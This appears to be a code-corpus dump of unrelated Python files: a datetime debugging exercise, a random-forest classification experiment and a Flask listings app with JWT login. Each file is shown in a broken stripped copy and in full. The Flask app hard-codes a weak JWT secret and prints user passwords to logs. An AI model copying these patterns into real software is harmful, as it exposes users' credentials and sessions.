""" The datetime module supplies classes for manipulating dates and times, and contains many types, objects, and methods. You've seen some of them used in the dow function, which returns the day of the week for a specific date. We'll use them again in the next_date function, which takes the date_string parameter in the format of "year-month-day", and uses the add_year function to calculate the next year that this date will occur (it's 4 years later for the 29th of February during Leap Year, and 1 year later for all other dates). Then it returns the value in the same format as it receives the date: "year-month-day". Can you find the error in the code? Is it in the next_date function or the add_year function? How can you determine if the add_year function returns what it's supposed to? Add debug lines as necessary to find the problems, then fix the code to work as indicated above. """ import datetime from datetime import date today = date.today() # Get today's date print(next_date(str(today))) # Should return a year from today, unless today is Leap Day print(next_date("2021-01-01")) # Should return 2022-01-01 print(next_date("2020-02-29")) # Should return 2024-02-29

45.268293

154

0.755927

""" The datetime module supplies classes for manipulating dates and times, and contains many types, objects, and methods. You've seen some of them used in the dow function, which returns the day of the week for a specific date. We'll use them again in the next_date function, which takes the date_string parameter in the format of "year-month-day", and uses the add_year function to calculate the next year that this date will occur (it's 4 years later for the 29th of February during Leap Year, and 1 year later for all other dates). Then it returns the value in the same format as it receives the date: "year-month-day". Can you find the error in the code? Is it in the next_date function or the add_year function? How can you determine if the add_year function returns what it's supposed to? Add debug lines as necessary to find the problems, then fix the code to work as indicated above. """ import datetime from datetime import date def add_year(date_obj): try: new_date_obj = date_obj.replace(year = date_obj.year + 1) except ValueError: # This gets executed when the above method fails, # which means that we're making a Leap Year calculation new_date_obj = date_obj.replace(year = date_obj.year + 4) return new_date_obj def next_date(date_string): # Convert the argument from string to date object date_obj = datetime.datetime.strptime(date_string, r"%Y-%m-%d") next_date_obj = add_year(date_obj) # Convert the datetime object to string, # in the format of "yyyy-mm-dd" next_date_string = next_date_obj.strftime("yyyy-mm-dd") return next_date_string today = date.today() # Get today's date print(next_date(str(today))) # Should return a year from today, unless today is Leap Day print(next_date("2021-01-01")) # Should return 2022-01-01 print(next_date("2020-02-29")) # Should return 2024-02-29

615

0

46

1a36054e4b7418274e99314f78d19465e2792514

18,963

py

Python

pairwise_classification/one_part_exp.py

dreamysx/lorelei

e17b13309ab57920690c843b92eab0178190ec20

[ "MIT" ]

null

pairwise_classification/one_part_exp.py

dreamysx/lorelei

e17b13309ab57920690c843b92eab0178190ec20

[ "MIT" ]

null

pairwise_classification/one_part_exp.py

dreamysx/lorelei

e17b13309ab57920690c843b92eab0178190ec20

[ "MIT" ]

null

from __future__ import division import json import numpy as np import matplotlib.pyplot as plt import time import random from sklearn.linear_model import LogisticRegressionCV from sklearn.ensemble import RandomForestClassifier as RFC import pandas as pd import operator from sklearn.metrics import roc_curve, precision_recall_curve, precision_recall_fscore_support print 'IMPORTANT: experiment can be modified by changing parameter combinations in main function!' print 'loading data...' part1_pos_10 = json.loads(open("new_dedup_part1_pos_10.json").read()) # 1552 part1_pos_200 = json.loads(open("new_dedup_part1_pos_200_embed.json").read()) part1_pos_walk_200 = json.loads(open("new_dedup_part1_pos_200_walk.json").read()) part2_pos_10 = json.loads(open("new_dedup_part2_pos_10.json").read()) # 24251 part2_pos_200 = json.loads(open("new_dedup_part2_pos_200_embed.json").read()) part2_pos_walk_200 = json.loads(open("new_dedup_part2_pos_200_walk.json").read()) part3_pos_10 = json.loads(open("new_dedup_part3_pos_10.json").read()) # 1353 part3_pos_200 = json.loads(open("new_dedup_part3_pos_200_embed.json").read()) part3_pos_walk_200 = json.loads(open("new_dedup_part3_pos_200_walk.json").read()) part4_pos_10 = json.loads(open("new_dedup_part4_pos_10.json").read()) # 3399 part4_pos_200 = json.loads(open("new_dedup_part4_pos_200_embed.json").read()) part4_pos_walk_200 = json.loads(open("new_dedup_part4_pos_200_walk.json").read()) part5_pos_10 = json.loads(open("new_dedup_part5_pos_10.json").read()) # 11692 part5_pos_200 = json.loads(open("new_dedup_part5_pos_200_embed.json").read()) part5_pos_walk_200 = json.loads(open("new_dedup_part5_pos_200_walk.json").read()) global_pos_10 = json.loads(open("new_dedup_global_pos_10.json").read()) # 1552 global_pos_200 = json.loads(open("new_dedup_global_pos_200_embed.json").read()) global_pos_walk_200 = json.loads(open("new_dedup_global_pos_200_walk.json").read()) global_neg_10 = json.loads(open("new_dedup_global_neg_10.json").read()) # 1552 global_neg_200 = json.loads(open("new_dedup_global_neg_200_embed.json").read()) global_neg_walk_200 = json.loads(open("new_dedup_global_neg_200_walk.json").read()) # combinations of each partition # 901 part1_pos_10_walk = combineData(source1_pos=part1_pos_10, source2_pos=part1_pos_walk_200) part1_pos_10_walk_dv = combineData(source1_pos=part1_pos_10, source3_pos=part1_pos_200, source2_pos=part1_pos_walk_200) # 12294 part2_pos_10_walk = combineData(source1_pos=part2_pos_10, source2_pos=part2_pos_walk_200) part2_pos_10_walk_dv = combineData(source1_pos=part2_pos_10, source3_pos=part2_pos_200, source2_pos=part2_pos_walk_200) # 895 part3_pos_10_walk = combineData(source1_pos=part3_pos_10, source2_pos=part3_pos_walk_200) part3_pos_10_walk_dv = combineData(source1_pos=part3_pos_10, source3_pos=part3_pos_200, source2_pos=part3_pos_walk_200) # 1992 part4_pos_10_walk = combineData(source1_pos=part4_pos_10, source2_pos=part4_pos_walk_200) part4_pos_10_walk_dv = combineData(source1_pos=part4_pos_10, source3_pos=part4_pos_200, source2_pos=part4_pos_walk_200) # 5952 part5_pos_10_walk = combineData(source1_pos=part5_pos_10, source2_pos=part5_pos_walk_200) part5_pos_10_walk_dv = combineData(source1_pos=part5_pos_10, source3_pos=part5_pos_200, source2_pos=part5_pos_walk_200) (combPos_10_walk, combNeg_10_walk) = combineData(source1_pos=global_pos_10, source1_neg=global_neg_10, source2_pos=global_pos_walk_200, source2_neg=global_neg_walk_200, source3_pos=None, source3_neg=None) (combPos_10_walk_dv, combNeg_10_walk_dv) = combineData(source1_pos=global_pos_10, source1_neg=global_neg_10, source2_pos=global_pos_walk_200, source2_neg=global_neg_walk_200, source3_pos=global_pos_200, source3_neg=global_neg_200) # functions # general function for taking samples from a list print 'defining function...' # averaging the results from trials # input should be lists of 10 or 210 dimensions # trialsWithVariedTrainSize if __name__ == "__main__": # experiment execution print "start training..." print 'part1 vs others classifer...' # 10_walk_dv print "train part1 test other parts with 10_walk_dv..." (part1_10_walk_dv, generalResultsPosNumRef) = trialsWithVariedTrainSize(num_pos_sample=901, num_pos_sample_cap=901, neg_pos_ratio=1, pos_training_dataset=part1_pos_10_walk_dv, pos_testing_dataset=part2_pos_10_walk_dv + part3_pos_10_walk_dv + part4_pos_10_walk_dv + part5_pos_10_walk_dv, neg_dataset=combNeg_10_walk_dv, train_test_split=0, test_stratify=True, scoring="f1", plt_or_not=False, save=False) targ = part1_10_walk_dv max_f1 = max(targ[0][3]) # 0.5885 index_max_f1 = targ[0][3].index(max(targ[0][3])) # 73 prec_at_max_f1 = targ[0][1][index_max_f1] # 0.5536 rec_at_max_f1 = targ[0][2][index_max_f1] # 0.6204 print "index: %d, f1: %f, prec: %f, rec: %f" % ( index_max_f1, round(max_f1, 4), round(prec_at_max_f1, 4), round(rec_at_max_f1, 4)) print 'done!'

43.393593

186

0.590729

from __future__ import division import json import numpy as np import matplotlib.pyplot as plt import time import random from sklearn.linear_model import LogisticRegressionCV from sklearn.ensemble import RandomForestClassifier as RFC import pandas as pd import operator from sklearn.metrics import roc_curve, precision_recall_curve, precision_recall_fscore_support print 'IMPORTANT: experiment can be modified by changing parameter combinations in main function!' print 'loading data...' part1_pos_10 = json.loads(open("new_dedup_part1_pos_10.json").read()) # 1552 part1_pos_200 = json.loads(open("new_dedup_part1_pos_200_embed.json").read()) part1_pos_walk_200 = json.loads(open("new_dedup_part1_pos_200_walk.json").read()) part2_pos_10 = json.loads(open("new_dedup_part2_pos_10.json").read()) # 24251 part2_pos_200 = json.loads(open("new_dedup_part2_pos_200_embed.json").read()) part2_pos_walk_200 = json.loads(open("new_dedup_part2_pos_200_walk.json").read()) part3_pos_10 = json.loads(open("new_dedup_part3_pos_10.json").read()) # 1353 part3_pos_200 = json.loads(open("new_dedup_part3_pos_200_embed.json").read()) part3_pos_walk_200 = json.loads(open("new_dedup_part3_pos_200_walk.json").read()) part4_pos_10 = json.loads(open("new_dedup_part4_pos_10.json").read()) # 3399 part4_pos_200 = json.loads(open("new_dedup_part4_pos_200_embed.json").read()) part4_pos_walk_200 = json.loads(open("new_dedup_part4_pos_200_walk.json").read()) part5_pos_10 = json.loads(open("new_dedup_part5_pos_10.json").read()) # 11692 part5_pos_200 = json.loads(open("new_dedup_part5_pos_200_embed.json").read()) part5_pos_walk_200 = json.loads(open("new_dedup_part5_pos_200_walk.json").read()) global_pos_10 = json.loads(open("new_dedup_global_pos_10.json").read()) # 1552 global_pos_200 = json.loads(open("new_dedup_global_pos_200_embed.json").read()) global_pos_walk_200 = json.loads(open("new_dedup_global_pos_200_walk.json").read()) global_neg_10 = json.loads(open("new_dedup_global_neg_10.json").read()) # 1552 global_neg_200 = json.loads(open("new_dedup_global_neg_200_embed.json").read()) global_neg_walk_200 = json.loads(open("new_dedup_global_neg_200_walk.json").read()) def combineData(source1_pos=None, source1_neg=None, source2_pos=None, source2_neg=None, source3_pos=None, source3_neg=None): # assert (len(source1_pos) == len(source2_pos) == len(source3_pos)), "pos should be equal length" # assert (len(source1_neg) == len(source2_neg) == len(source3_neg)), "neg should be equal length" comb_pos = [] comb_neg = [] if source3_pos == None: # only combine two datasets for i in range(len(source1_pos)): comb_pos.append(source1_pos[i] + source2_pos[i]) if source1_neg != None: for i in range(len(source1_neg)): comb_neg.append(source1_neg[i] + source2_neg[i]) else: for i in range(len(source1_pos)): comb_pos.append(source1_pos[i] + source2_pos[i] + source3_pos[i]) if source1_neg != None: for i in range(len(source1_neg)): comb_neg.append(source1_neg[i] + source2_neg[i] + source3_neg[i]) if len(comb_neg) == 0: return comb_pos else: return (comb_pos, comb_neg) # combinations of each partition # 901 part1_pos_10_walk = combineData(source1_pos=part1_pos_10, source2_pos=part1_pos_walk_200) part1_pos_10_walk_dv = combineData(source1_pos=part1_pos_10, source3_pos=part1_pos_200, source2_pos=part1_pos_walk_200) # 12294 part2_pos_10_walk = combineData(source1_pos=part2_pos_10, source2_pos=part2_pos_walk_200) part2_pos_10_walk_dv = combineData(source1_pos=part2_pos_10, source3_pos=part2_pos_200, source2_pos=part2_pos_walk_200) # 895 part3_pos_10_walk = combineData(source1_pos=part3_pos_10, source2_pos=part3_pos_walk_200) part3_pos_10_walk_dv = combineData(source1_pos=part3_pos_10, source3_pos=part3_pos_200, source2_pos=part3_pos_walk_200) # 1992 part4_pos_10_walk = combineData(source1_pos=part4_pos_10, source2_pos=part4_pos_walk_200) part4_pos_10_walk_dv = combineData(source1_pos=part4_pos_10, source3_pos=part4_pos_200, source2_pos=part4_pos_walk_200) # 5952 part5_pos_10_walk = combineData(source1_pos=part5_pos_10, source2_pos=part5_pos_walk_200) part5_pos_10_walk_dv = combineData(source1_pos=part5_pos_10, source3_pos=part5_pos_200, source2_pos=part5_pos_walk_200) (combPos_10_walk, combNeg_10_walk) = combineData(source1_pos=global_pos_10, source1_neg=global_neg_10, source2_pos=global_pos_walk_200, source2_neg=global_neg_walk_200, source3_pos=None, source3_neg=None) (combPos_10_walk_dv, combNeg_10_walk_dv) = combineData(source1_pos=global_pos_10, source1_neg=global_neg_10, source2_pos=global_pos_walk_200, source2_neg=global_neg_walk_200, source3_pos=global_pos_200, source3_neg=global_neg_200) # functions # general function for taking samples from a list print 'defining function...' def takingSamples(alist, num=0, portion=0): assert ((num > 0 and portion == 0) or (num == 0 and portion > 0)), "should offer only one method, num or portion" seed = int(round(time.time() * 1000)) % 100000000 random.seed(seed) length_of_list = len(alist) listPicked = [] listNotPicked = [] if num > 0: chosen_ids = set() while len(chosen_ids) < num: tmpRandInt = random.randint(0, length_of_list - 1) # cover both head and tail chosen_ids.add(tmpRandInt) t_f_list = [False for i in range(length_of_list)] for i in chosen_ids: t_f_list[i] = True for i, j in enumerate(t_f_list): if j: listPicked.append(alist[i]) else: listNotPicked.append(alist[i]) if portion > 0: num = int(length_of_list * portion) chosen_ids = set() while len(chosen_ids) < num: tmpRandInt = random.randint(0, length_of_list - 1) # cover both head and tail chosen_ids.add(tmpRandInt) t_f_list = [False for i in range(length_of_list)] for i in chosen_ids: t_f_list[i] = True for i, j in enumerate(t_f_list): if j: listPicked.append(alist[i]) else: listNotPicked.append(alist[i]) return (listPicked, listNotPicked) # usage e.g. # (listPicked, listNotPicked) = takingSamples([1,2,3,4,5,6], num=4) # (listPicked, listNotPicked) = takingSamples([[1,2],[2,5],[3,7],[4,6],[5,5],[6,1]], num=4) # print listPicked # print listNotPicked # averaging the results from trials def avgProcess(trialsAns): trialsAns_np = np.array(trialsAns) num_trial = len(trialsAns_np) # 10 # place holder for average threshold, precision, recall, f1 avg_thres = np.array([0.0 for i in range(len(trialsAns_np[0]))]) avg_prec = np.array([0.0 for i in range(len(trialsAns_np[0]))]) avg_rec = np.array([0.0 for i in range(len(trialsAns_np[0]))]) avg_f1 = np.array([0.0 for i in range(len(trialsAns_np[0]))]) for i in range(num_trial): tmp = np.array(trialsAns_np[i]) avg_thres += tmp[:, 0] # the 0th column avg_prec += tmp[:, 1] avg_rec += tmp[:, 2] avg_f1 += tmp[:, 3] avg_thres = avg_thres / float(num_trial) avg_prec = avg_prec / float(num_trial) avg_rec = avg_rec / float(num_trial) avg_f1 = avg_f1 / float(num_trial) avg_thres = list(avg_thres) avg_prec = list(avg_prec) avg_rec = list(avg_rec) avg_f1 = list(avg_f1) return (avg_thres, avg_prec, avg_rec, avg_f1) # input should be lists of 10 or 210 dimensions def oneTrialWithCertainTrainSize(num_pos_sample=50, neg_pos_ratio=1, pos_training_dataset=None, pos_testing_dataset=None, neg_dataset=None, train_test_split=0, # obselete feature, keep default parameter to bypass, feature achieved by "num_pos_sample" param test_stratify=True, # obselete feature, keep default parameter to bypass, feature achieved by "num_pos_sample" param scoring="f1", plt_or_not=True): assert (type(pos_training_dataset) == list and type(neg_dataset) == list), "input datasets should be lists" num_neg_sample = int(num_pos_sample * neg_pos_ratio) # take sample of num_pos_sample number of positive examples (posPicked, posNotPicked) = takingSamples(pos_training_dataset, num=num_pos_sample) (negPicked, negNotPicked) = takingSamples(neg_dataset, num=num_neg_sample) # create train_X, train_y train_X = pd.DataFrame(posPicked + negPicked) train_y = np.array([1 for i in range(len(posPicked))] + [0 for i in range(len(negPicked))]) # create test_X and test_y if train_test_split != 0: testSize = int( (num_pos_sample + num_neg_sample) / train_test_split * (1 - train_test_split)) # size of test set if test_stratify: testPosSize = int(float(testSize) / (neg_pos_ratio + 1)) testNegSize = testSize - testPosSize test_X = pd.DataFrame( takingSamples(posNotPicked, num=testPosSize)[0] + takingSamples(negNotPicked, num=testNegSize)[0]) # test_y = np.array([1 for i in range(testPosSize)] + [0 for i in range(testNegSize)]) else: for idx in range(len(posNotPicked)): posNotPicked[idx].append(1) for idx in range(len(negNotPicked)): negNotPicked[idx].append(0) test_X = pd.DataFrame(takingSamples(posNotPicked + negNotPicked, num=testSize)[0]) test_y = np.array() for i in test_X: if i[-1] == 1: test_y.append(1) else: test_y.append(0) for idx in range(len(test_X)): del test_X[idx][-1] else: if (pos_testing_dataset == None): test_X = pd.DataFrame(posNotPicked + negNotPicked) test_y = np.array([1 for i in range(len(posNotPicked))] + [0 for i in range(len(negNotPicked))]) else: test_X = pd.DataFrame(pos_testing_dataset + negNotPicked) test_y = np.array([1 for i in range(len(pos_testing_dataset))] + [0 for i in range(len(negNotPicked))]) # train and test the model reg = RFC(n_estimators=100) # reg = RFC(n_estimators=200, max_features='log2') # reg = LogisticRegressionCV(scoring=scoring) LogModel = reg.fit(train_X, train_y) y_predlog = LogModel.predict_proba(test_X) y_predlog_1 = y_predlog[:, 1] prec, rec, thresholds = precision_recall_curve(test_y, y_predlog_1) if plt_or_not: plt.plot(rec, prec) plt.xlabel("Recall") plt.ylabel("Precision") plt.title("Rec-Prec Curve of Logistic Regression Trials") # pred_combine sorted pred_combine = [] for i in range(len(test_y)): pred_combine.append((y_predlog_1[i], test_y[i])) pred_combine = sorted(pred_combine, key=operator.itemgetter(0)) # create an array of 0.1:0.01:0.99 thres_new = [] initial = 0.1 while initial <= 0.99: thres_new.append(initial) initial += 0.01 initial = round(initial, 2) # generate "threshold, prec, rec, f1" list # test_y is truth, y_predlog_1 is prob of being 1 result = [] item_index = 0 FN_accu = 0 TN_accu = 0 TP_accu = list(test_y).count(1) FP_accu = list(test_y).count(0) for i in thres_new: # i is [0.1:0.01:0.99] if (item_index < len(pred_combine)): while pred_combine[item_index][0] < i: if pred_combine[item_index][1] == 1: # this item actually 1, predict as 0 FN_accu += 1 TP_accu -= 1 else: # this item is actually 0, predict as 0, pred_combine[item_index][1] == 0 TN_accu += 1 FP_accu -= 1 item_index += 1 if (item_index == len(pred_combine)): break # print "th: " + str(i) + ", TP: " + str(TP_accu) + ", FP: " + str(FP_accu) + ", FN: " + str(FN_accu) + ", TN: " + str(TN_accu) if (TP_accu == 0): preci = 0 else: preci = float(TP_accu) / (TP_accu + FP_accu) if (TP_accu == 0): recal = 0 else: recal = float(TP_accu) / (FN_accu + TP_accu) if (2 * preci * recal == 0): fone = 0 else: fone = 2 * preci * recal / (preci + recal) result.append([i, preci, recal, fone]) return result # 90 # outArr = oneTrialWithCertainTrainSize(num_pos_sample=60, pos_neg_ratio=1, pos_dataset=global_pos_10_40262, neg_dataset=global_neg_10_402620) # print "finish" # trialsWithVariedTrainSize def trialsWithVariedTrainSize(num_pos_sample=50, num_pos_sample_cap=1500, neg_pos_ratio=1, pos_training_dataset=None, pos_testing_dataset=None, neg_dataset=None, train_test_split=0, # obsolete feature, keep default parameter to bypass, feature achieved by "num_pos_sample" param test_stratify=True, # obsolete feature, keep default parameter to bypass, feature achieved by "num_pos_sample" param scoring="f1", plt_or_not=True, num_trial=10, save=False, saveName="0"): generalResults = [] generalResultsPosNumRef = [] generalStdDev = [] while num_pos_sample <= num_pos_sample_cap: trialsAns = [] # for each num_pos_sample, perform 10 trials for trialsCount in range(num_trial): # one single trial outArr = oneTrialWithCertainTrainSize(num_pos_sample=num_pos_sample, neg_pos_ratio=neg_pos_ratio, pos_training_dataset=pos_training_dataset, pos_testing_dataset=pos_testing_dataset, neg_dataset=neg_dataset, train_test_split=train_test_split, test_stratify=test_stratify, scoring=scoring, plt_or_not=plt_or_not) # put outArr together trialsAns.append(outArr) # outArr = [threshold, prec, rec, f1tmp] print "trial #" + str(trialsCount + 1) + " finished!" # with open("trialsAns.json", "w") as f: # json.dump(trialsAns, f) print str(num_pos_sample) + " all trials finished!" # calc std dev of max f1 based on trialsAns # stdArray = [] # for e in range(len(trialsAns[0])): # tmpArr = [] # for k in trialsAns: # tmpArr.append(k[e][3]) # stdArray.append(np.std(np.array(tmpArr))) # # stddev = np.average(stdArray) # generalStdDev.append(stddev) # if save == True: fileName = "rawResults_" + saveName + ".json" with open(fileName, "w") as f: json.dump(trialsAns, f) (avg_thres, avg_prec, avg_rec, avg_f1) = avgProcess(trialsAns) # generalResults.append([avg_thres, avg_prec, avg_rec, avg_f1]) generalResultsPosNumRef.append(num_pos_sample) # print results for each trial targ = generalResults index = targ[0][3].index(max(targ[0][3])) for ntrial in range(len(trialsAns)): fone = trialsAns[ntrial][index][3] prec = trialsAns[ntrial][index][1] rec = trialsAns[ntrial][index][2] print "For trial#" + str(ntrial) print "f1: %.4f" % fone + ", prec: %.4f" % prec + ", rec: %.4f" % rec # print str(num_pos_sample) + " positive finished!" num_pos_sample += 50 # if num_pos_sample < 200: num_pos_sample += 10 # elif num_pos_sample < 500: num_pos_sample += 50 # else: num_pos_sample += 100 # return (generalResults, generalStdDev, generalResultsPosNumRef) return (generalResults, generalResultsPosNumRef) # return None if __name__ == "__main__": # experiment execution print "start training..." print 'part1 vs others classifer...' # 10_walk_dv print "train part1 test other parts with 10_walk_dv..." (part1_10_walk_dv, generalResultsPosNumRef) = trialsWithVariedTrainSize(num_pos_sample=901, num_pos_sample_cap=901, neg_pos_ratio=1, pos_training_dataset=part1_pos_10_walk_dv, pos_testing_dataset=part2_pos_10_walk_dv + part3_pos_10_walk_dv + part4_pos_10_walk_dv + part5_pos_10_walk_dv, neg_dataset=combNeg_10_walk_dv, train_test_split=0, test_stratify=True, scoring="f1", plt_or_not=False, save=False) targ = part1_10_walk_dv max_f1 = max(targ[0][3]) # 0.5885 index_max_f1 = targ[0][3].index(max(targ[0][3])) # 73 prec_at_max_f1 = targ[0][1][index_max_f1] # 0.5536 rec_at_max_f1 = targ[0][2][index_max_f1] # 0.6204 print "index: %d, f1: %f, prec: %f, rec: %f" % ( index_max_f1, round(max_f1, 4), round(prec_at_max_f1, 4), round(rec_at_max_f1, 4)) print 'done!'

12,621

0

112

38652c248a4584e2b2780ee78dd51e86e74e2328

7,639

py

Python

project/projectapp.py

psglinux/cmpe-272

881d29186930475c88da8b2a4bc9120fea02ee13

[ "MIT" ]

2

2019-04-20T03:45:51.000Z

2019-04-27T05:52:10.000Z

project/projectapp.py

psglinux/cmpe-272

881d29186930475c88da8b2a4bc9120fea02ee13

[ "MIT" ]

3

2019-04-21T18:57:32.000Z

2019-04-28T15:14:02.000Z

project/projectapp.py

psglinux/cmpe-272

881d29186930475c88da8b2a4bc9120fea02ee13

[ "MIT" ]

4

2019-04-23T00:32:21.000Z

2019-04-29T22:29:00.000Z

# app.py import pprint import json import bson import jwt import pymongo import mongomock import requests from flask import Flask from flask import jsonify from flask import request from flask import Response from flask import abort from flask import json,jsonify, make_response,session from flask import render_template,request,redirect,url_for from apymongodb import APymongodb import reviewapi import query SECRET_KEY = "Secret Key" #app = Flask(__name__) #app.config.from_object(__name__) # create flask instance app=create_app() app = Flask(__name__) app.config.from_object(__name__) mongodb_uri="project-mongodb" login_uri="porject-login-flask" endpoint_access = {'N': ['login'], 'S': ['login']} def mock_project_mongo_db(): """ create a mock db for usint testing. """ mock_pymondb = APymongodb(test=True) mock_pymondb.create_db_from_csv() mock_pymondb.create_auth_db() return mock_pymondb.db @app.route('/',methods=['GET']) def hello_world(): """ default route for the Team Elf's home page """ return '<h1 align=center>Hello, Welcome to the Project webserver of team ELFs</h1>' @app.route('/maps',methods=['GET']) def maps(): """ default route for the Team Elf's home page """ return render_template('maps.html',response=request.response) @app.route('/login', methods=['POST','GET']) def app_login(): """ the route for login. This will talk to a standalone app which is running in the container login-flask:5000 """ error=None if app.testing: return bson.json_util.dumps({'status': 'success'}) else: print("received requests") if request.method == 'POST': try: #print("request data from browser:", request.data) #print("request data from browser:", json.loads(request.data)) #rcv_login_req = json.loads(request.data) #print("request json from browser:", rcv_login_req) email_addr=request.form['username'] password=request.form['password'] print(email_addr, ",", password) rcv_login_req={'email_address':email_addr, 'password':password} # request the login-app to authenticate the user #pdata1 = {'email_address':'95f7vcnewd8@iffymedia.com', 'password':'5f4dcc3b5aa765d61d8327deb882cf99'} headers = {'content-type': 'application/json'} r = requests.post('http://project-login-flask:5000/login', data=bson.json_util.dumps(rcv_login_req), headers=headers) #print("send request", dir(r)) #r = requests.get('http://login-flask:5000/') #print("response:", dir(r)) print("response.text:", r.text) print("response.status_code", r.status_code) #print("response.json", r.json) # TODO: Return the JWT here session['Authorization']=json.loads(r.text)['auth_token'] #return redirect(url_for('order_books')) #return render_template('login_success.html', error=error) return '<h1>'+"Success"+'</h1>' except Exception as e: print("exception:", str(e)) #return '<h1>'+"error"+'</h1>' return render_template('login.html', error=error) @app.route('/review/<string:listing_id>', methods=['GET']) @app.route('/loginsuccess', methods=['GET']) # Test using -> curl -X POST -H 'Content-Type: application/json' http://127.0.0.1/getlistings -d '{"bedrooms":"5.0"}' # See https://gist.github.com/subfuzion/08c5d85437d5d4f00e58 # Run project/run_proj.sh #http://ec2-18-191-206-216.us-east-2.compute.amazonaws.com/getlistings?zipcode=3018&bedrooms=1&accomodates=0 @app.route('/getlistings', methods=['GET']) if __name__ == '__main__': # app = Flask(__name__) app.run(host='127.0.0.1',port=5000,debug=True)

32.785408

129

0.615002

# app.py import pprint import json import bson import jwt import pymongo import mongomock import requests from flask import Flask from flask import jsonify from flask import request from flask import Response from flask import abort from flask import json,jsonify, make_response,session from flask import render_template,request,redirect,url_for from apymongodb import APymongodb import reviewapi import query SECRET_KEY = "Secret Key" #app = Flask(__name__) #app.config.from_object(__name__) # create flask instance def create_app(): app=Flask(__name__) return app app=create_app() app = Flask(__name__) app.config.from_object(__name__) mongodb_uri="project-mongodb" login_uri="porject-login-flask" endpoint_access = {'N': ['login'], 'S': ['login']} def check_endpoint_access(db, email, ep): l_data = db.authentication.find_one({'email_address': email}) if l_data : if ep in endpoint_access[l_data['role']]: return True return False def mock_project_mongo_db(): """ create a mock db for usint testing. """ mock_pymondb = APymongodb(test=True) mock_pymondb.create_db_from_csv() mock_pymondb.create_auth_db() return mock_pymondb.db def real_mongo_db(): print(mongodb_uri) return pymongo.MongoClient(mongodb_uri)['client_database'] def get_db_instance(): print("Inside get db instance") print(app.testing) if app.testing: db = mock_project_mongo_db() else: db = real_mongo_db() return db def check_auth_token(request,db, ep=None): if 'Authorization' in session.keys(): print(session.keys()) auth_token=session['Authorization'] else: auth_token="" if auth_token: try: payload = jwt.decode(auth_token, SECRET_KEY, algorithm="HS256") db = get_db_instance() l_data = db.authentication.find_one({'email_address': payload['sub']}) if l_data: if ep is not None: if not check_endpoint_access(db, payload['sub'], ep): return 'error' return 'success' else: return 'error' except jwt.ExpiredSignatureError: return 'Signature expired. Please log in again.' except jwt.InvalidTokenError: return 'Invalid token. Please log in again.' else: return 'error: no jwt token provided' @app.route('/',methods=['GET']) def hello_world(): """ default route for the Team Elf's home page """ return '<h1 align=center>Hello, Welcome to the Project webserver of team ELFs</h1>' @app.route('/maps',methods=['GET']) def maps(): """ default route for the Team Elf's home page """ return render_template('maps.html',response=request.response) @app.route('/login', methods=['POST','GET']) def app_login(): """ the route for login. This will talk to a standalone app which is running in the container login-flask:5000 """ error=None if app.testing: return bson.json_util.dumps({'status': 'success'}) else: print("received requests") if request.method == 'POST': try: #print("request data from browser:", request.data) #print("request data from browser:", json.loads(request.data)) #rcv_login_req = json.loads(request.data) #print("request json from browser:", rcv_login_req) email_addr=request.form['username'] password=request.form['password'] print(email_addr, ",", password) rcv_login_req={'email_address':email_addr, 'password':password} # request the login-app to authenticate the user #pdata1 = {'email_address':'95f7vcnewd8@iffymedia.com', 'password':'5f4dcc3b5aa765d61d8327deb882cf99'} headers = {'content-type': 'application/json'} r = requests.post('http://project-login-flask:5000/login', data=bson.json_util.dumps(rcv_login_req), headers=headers) #print("send request", dir(r)) #r = requests.get('http://login-flask:5000/') #print("response:", dir(r)) print("response.text:", r.text) print("response.status_code", r.status_code) #print("response.json", r.json) # TODO: Return the JWT here session['Authorization']=json.loads(r.text)['auth_token'] #return redirect(url_for('order_books')) #return render_template('login_success.html', error=error) return '<h1>'+"Success"+'</h1>' except Exception as e: print("exception:", str(e)) #return '<h1>'+"error"+'</h1>' return render_template('login.html', error=error) @app.route('/review/<string:listing_id>', methods=['GET']) def get_review_by_id(listing_id): db = get_db_instance() auth_status = check_auth_token(request, db) if auth_status == 'success': reviews = reviewapi.get_review_with_listing_id(listing_id, db) print("reviews:", reviews) return render_template('reviews.html',response=reviews) else: return '<h1>' + auth_status + '</h1>' @app.route('/loginsuccess', methods=['GET']) def get_login_success(): return render_template('login_success.html', error="") # Test using -> curl -X POST -H 'Content-Type: application/json' http://127.0.0.1/getlistings -d '{"bedrooms":"5.0"}' # See https://gist.github.com/subfuzion/08c5d85437d5d4f00e58 # Run project/run_proj.sh #http://ec2-18-191-206-216.us-east-2.compute.amazonaws.com/getlistings?zipcode=3018&bedrooms=1&accomodates=0 @app.route('/getlistings', methods=['GET']) def get_listings(): def merge_dicts(x, y): z = x.copy() z.update(y) return z # XXX TODO How to check token using CURL ? db = get_db_instance() auth_status = check_auth_token(request, db) if auth_status != 'success': return '<h1>' + auth_status + '</h1>' if request.method == 'GET': range_params={} error=None query_params = { 'country_code' : 'AU' } zipcode=request.args.get('zipcode') print(request.args) if zipcode is None: return render_template('test1.html', error=error) else: db = get_db_instance() results = {} query_params['zipcode']=int(request.args.get('zipcode')) price_max=request.args.get('price').strip() if price_max.startswith('$'): pass else: price_max="$"+price_max range_params['price'] = { 'lo' : '$0.00', 'hi' : price_max} range_params['accomodates']={'lo': int(request.args.get('accomodates')),'hi':10} range_params['bedrooms']={'lo': int(request.args.get('bedrooms')),'hi':6} print("query_params",range_params,query_params) print(query.range_query(range_params,query_params,db)) rv, r = query.range_query(range_params,query_params,db) if not rv: print("404") abort(404) results["results"] = r print(results) if request.args.get('maps') is None: return render_template('listings.html',response=results) else: return render_template('maps.html',response=results) #return jsonify(results) if __name__ == '__main__': # app = Flask(__name__) app.run(host='127.0.0.1',port=5000,debug=True)

3,592

0

181

08b321e691944be60f4baac231100dd16f8af4cc

5,529

py

Python

main.py

markmumba/password_locker

2b864dc418c2783f888fc332878e21b6ed04e370

[ "MIT" ]

null

main.py

markmumba/password_locker

2b864dc418c2783f888fc332878e21b6ed04e370

[ "MIT" ]

null

main.py

markmumba/password_locker

2b864dc418c2783f888fc332878e21b6ed04e370

[ "MIT" ]

null

#!/usr/bin/env python3.8 import pyperclip import random import string from py_lock import personas, profiles if __name__ == '__main__': main()

31.061798

221

0.573702

